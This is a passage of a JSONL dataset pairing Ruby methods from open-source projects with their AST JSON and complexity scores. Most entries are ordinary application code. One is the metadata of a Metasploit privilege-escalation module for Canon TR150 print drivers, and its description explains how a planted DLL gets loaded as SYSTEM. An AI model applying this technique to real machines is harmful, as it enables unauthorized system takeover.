\"grouped_emoji_reactions\"]},{\"type\":\"lvar\",\"children\":[\"grouped_emoji_reactions\"]}]}]}]}]}]}]}]}","id":"6851d040-a338-440f-8883-177ed817c6cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web.rb","start_line":26,"raw_source":"def checked(id)\n      parent.checklist << \"#{shortname}#{id}\".hash\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checked\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"checklist\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shortname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"hash\"]}]}]}","id":"94cbc463-47e4-4443-aa87-746115e2124e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/recurring_meetings/update_service.rb","start_line":69,"raw_source":"def reschedule_future_occurrences(recurring_meeting)\n      if only_time_of_day_changed?(recurring_meeting) && !multi_instances_per_day?(recurring_meeting)\n        update_time_of_day(recurring_meeting)\n      else\n        remove_cancelled_schedules(recurring_meeting)\n        reschedule_all_occurrences(recurring_meeting)\n      end\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reschedule_future_occurrences\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"only_time_of_day_changed?\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multi_instances_per_day?\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"update_time_of_day\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_cancelled_schedules\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]},{\"type\":\"send\",\"children\":[null,\"reschedule_all_occurrences\",{\"type\":\"lvar\",\"children\":[\"recurring_meeting\"]}]}]}]}]}","id":"0419cf48-a21c-4c57-a65d-564ffd0ff7ba"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1985,"raw_source":"def create_email_token\n    email_tokens.create!(email: email, scope: EmailToken.scopes[:signup])\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_email_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_tokens\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"scopes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"signup\"]}]}]}]}]}]}","id":"5eb4d2cf-4c06-4fc8-8301-98e9110774f7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_task/dumping.rb","start_line":34,"raw_source":"def dump_obj(obj, prefix = nil, print_obj = STDOUT, print_method = :puts, options = {})\n    self.class.dump_obj(obj, prefix, print_obj, print_method) do |val, key|\n      value = val\n      if Array.wrap(options.try(:[], :protected).try(:[], :path)).any? { |filter| key =~ filter }\n        value = \"<PROTECTED>\"\n      end\n      print_obj.send(print_method, \"#{key}(#{val.class}) = #{value.inspect}\")\n    end\n  end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_obj\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"optarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"print_obj\",{\"type\":\"const\",\"children\":[null,\"STDOUT\"]}]},{\"type\":\"optarg\",\"children\":[\"print_method\",{\"type\":\"sym\",\"children\":[\"puts\"]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"dump_obj\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"lvar\",\"children\":[\"print_obj\"]},{\"type\":\"lvar\",\"children\":[\"print_method\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"protected\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"path\"]}]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"str\",\"children\":[\"<PROTECTED>\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"print_obj\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"print_method\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\") = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]}]}]}]}]}]}","id":"1b24e592-415a-4267-b3e7-18b9afa34086"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner.rb","start_line":659,"raw_source":"def exactly_one_group\n      errors.add(:runner, 'needs to be assigned to exactly one group') unless runner_namespaces.size == 1\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exactly_one_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_namespaces\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"runner\"]},{\"type\":\"str\",\"children\":[\"needs to be assigned to exactly one group\"]}]}]}]}","id":"d3d7f952-6b47-4aba-b938-67e80a037515"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_controller.rb","start_line":279,"raw_source":"def access_params\n    { github_access_token: session[access_token_key] }\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"access_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_access_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"access_token_key\"]}]}]}]}]}","id":"ffa391f3-843d-4be4-8437-6a40f5493a02"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_approval.rb","start_line":27,"raw_source":"def deny(userid, reason)\n    user = user_validate(userid)\n    update(\n      :state        => \"denied\",\n      :reason       => reason,\n      :stamper      => user,\n      :stamper_name => user.name,\n      :stamped_on   => Time.now.utc\n    )\n\n    miq_request.approval_denied\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deny\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user_validate\",{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"denied\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamper\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamper_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stamped_on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_request\"]},\"approval_denied\"]}]}]}","id":"646fbd5f-febf-4394-a3d4-1f26a626316e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_serializer.rb","start_line":106,"raw_source":"def topic_tags\n    object.topic.tags.map(&:name)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"d23f390f-af32-4884-9739-12800ba69424"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/search/reading_list.rb","start_line":117,"raw_source":"def self.serialize(articles, users)\n      Search::ReadingListArticleSerializer\n        .new(articles, params: { users: users }, is_collection: true)\n        .serializable_hash[:data]\n        .pluck(:attributes)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"articles\"]},{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"ReadingListArticleSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"articles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_collection\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"serializable_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]}]}","id":"874f4306-8887-4162-9142-5b9a8e7808ab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/touch_later_test.rb","start_line":31,"raw_source":"def test_touch_later_respects_no_touching_policy\n    time = Time.now.utc - 25.days\n    topic = Topic.create!(updated_at: time, created_at: time)\n    Topic.no_touching do\n      topic.touch_later\n    end\n    assert_equal time.to_i, topic.updated_at.to_i\n  end","complexity_score":16.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_touch_later_respects_no_touching_policy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[25]},\"days\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"no_touching\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"touch_later\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"updated_at\"]},\"to_i\"]}]}]}]}","id":"2c90ede7-04fd-4225-b045-50b28695a09a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/access_logger.rb","start_line":60,"raw_source":"def graphql_operation_names\n          RequestStore.store[:graphql_logs].to_a.map { |log| log.slice(:operation_name) }\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"graphql_operation_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"graphql_logs\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"operation_name\"]}]}]}]}","id":"8c4772f5-463a-4ed7-a16e-78b635f44bdf"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_proc_result_cache.rb","start_line":6,"raw_source":"def setup\n    @subject = Holidays::Definition::Repository::ProcResultCache.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Repository\"]},\"ProcResultCache\"]},\"new\"]}]}]}","id":"4ad50eab-653e-4789-a95f-69cbd148909f"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120625174544_add_highest_post_number_to_forum_threads.rb","start_line":4,"raw_source":"def change\n    add_column :forum_threads, :highest_post_number, :integer, default: 0, null: false\n\n    execute \"UPDATE forum_threads SET highest_post_number = (SELECT MAX(post_number) FROM posts WHERE posts.forum_thread_id = forum_threads.id)\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"forum_threads\"]},{\"type\":\"sym\",\"children\":[\"highest_post_number\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE forum_threads SET highest_post_number = (SELECT MAX(post_number) FROM posts WHERE posts.forum_thread_id = forum_threads.id)\"]}]}]}]}","id":"b8986d8a-b6ca-4967-b7b3-5d64cea324d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/canon_driver_privesc.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Canon Driver Privilege Escalation',\n        'Description' => %q{\n          Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files\n          within the \"CanonBJ\" directory and its subdirectories. By overwriting the DLL at\n          C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series\\LanguageModules\\040C\\CNMurGE.dll\n          with a malicious DLL at the right time whilst running the C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs\n          script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,\n          which runs as NT AUTHORITY\\SYSTEM, to successfully load the malicious DLL. Successful exploitation\n          will grant attackers code execution as the NT AUTHORITY\\SYSTEM user.\n\n          This module leverages the prnmngr.vbs script\n          to add and delete printers. Multiple runs of this\n          module may be required given successful exploitation\n          is time-sensitive.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Jacob Baines', # discovery, PoC, module\n          'Shelby Pace' # original Ricoh module\n        ],\n        'References' => [\n          ['CVE', '2021-38085'],\n        ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'Platform' => 'win',\n        'SessionTypes' => [ 'meterpreter' ],\n        'Targets' => [\n          [\n            'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }\n          ]\n        ],\n        'Notes' => {\n          'SideEffects' => [ ARTIFACTS_ON_DISK ],\n          'Reliability' => [ UNRELIABLE_SESSION ],\n          'Stability' => [ SERVICE_RESOURCE_LOSS ]\n        },\n        'DisclosureDate' => '2021-08-07',\n        'DefaultTarget' => 0,\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_sys_process_execute\n            ]\n          }\n        }\n      )\n    )\n\n    self.needs_cleanup = true\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Canon Driver Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files\\n\"]},{\"type\":\"str\",\"children\":[\"          within the \\\"CanonBJ\\\" directory and its subdirectories. By overwriting the DLL at\\n\"]},{\"type\":\"str\",\"children\":[\"          C:\\\\ProgramData\\\\CanonBJ\\\\IJPrinter\\\\CNMWINDOWS\\\\Canon TR150 series\\\\LanguageModules\\\\040C\\\\CNMurGE.dll\\n\"]},{\"type\":\"str\",\"children\":[\"          with a malicious DLL at the right time whilst running the C:\\\\Windows\\\\System32\\\\Printing_Admin_Scripts\\\\en-US\\\\prnmngr.vbs\\n\"]},{\"type\":\"str\",\"children\":[\"          script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,\\n\"]},{\"type\":\"str\",\"children\":[\"          which runs as NT AUTHORITY\\\\SYSTEM, to successfully load the malicious DLL. Successful exploitation\\n\"]},{\"type\":\"str\",\"children\":[\"          will grant attackers code execution as the NT AUTHORITY\\\\SYSTEM user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module leverages the prnmngr.vbs script\\n\"]},{\"type\":\"str\",\"children\":[\"          to add and delete printers. Multiple runs of this\\n\"]},{\"type\":\"str\",\"children\":[\"          module may be required given successful exploitation\\n\"]},{\"type\":\"str\",\"children\":[\"          is time-sensitive.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jacob Baines\"]},{\"type\":\"str\",\"children\":[\"Shelby Pace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-38085\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNRELIABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SERVICE_RESOURCE_LOSS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-08-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_process_execute\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"9fe54104-e9c9-4c3e-8744-93ada19dceba"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":287,"raw_source":"def create_subtasks(parent_service_task, parent_service)\n    tasks = []\n    service_resources.each do |child_svc_rsc|\n      scaling_min = child_svc_rsc.scaling_min\n      1.upto(scaling_min).each do |scaling_idx|\n        nh = parent_service_task.attributes.dup\n        %w[id created_on updated_on type state status message].each { |key| nh.delete(key) }\n        nh['options'] = parent_service_task.options.dup\n        nh['options'].delete(:child_tasks)\n        # Initial Options[:dialog] to an empty hash so we do not pass down dialog values to child services tasks\n        nh['options'][:dialog] = {}\n        next if child_svc_rsc.resource_type == \"ServiceTemplate\" &&\n                !self.class.include_service_template?(parent_service_task,\n                                                      child_svc_rsc.resource.id,\n                                                      parent_service)\n\n        new_task = parent_service_task.class.new(nh)\n        new_task.options.merge!(\n          :src_id              => child_svc_rsc.resource.id,\n          :scaling_idx         => scaling_idx,\n          :scaling_min         => scaling_min,\n          :service_resource_id => child_svc_rsc.id,\n          :parent_service_id   => parent_service.id,\n          :parent_task_id      => parent_service_task.id\n        )\n        new_task.state  = 'pending'\n        new_task.status = 'Ok'\n        new_task.source = child_svc_rsc.resource\n        new_task.save!\n        new_task.after_request_task_create\n        parent_service_task.miq_request.miq_request_tasks << new_task\n\n        tasks << new_task\n      end\n    end\n    tasks\n  end","complexity_score":75.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_subtasks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_service_task\"]},{\"type\":\"arg\",\"children\":[\"parent_service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tasks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_svc_rsc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scaling_min\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_svc_rsc\"]},\"scaling_min\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"lvar\",\"children\":[\"scaling_min\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scaling_idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nh\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},\"attributes\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"created_on\"]},{\"type\":\"str\",\"children\":[\"updated_on\"]},{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"message\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nh\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nh\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_service_task\"]},\"options\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nh\"]},\"[]\",{\"type\":\"str\",\"children\":[\"options\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"child_tasks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nh\"]},\"[]\",{\"type\":\"str\",\"children\":[\"options\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"dialog\"]},{\"type\":\"hash\",\"children\":[]}]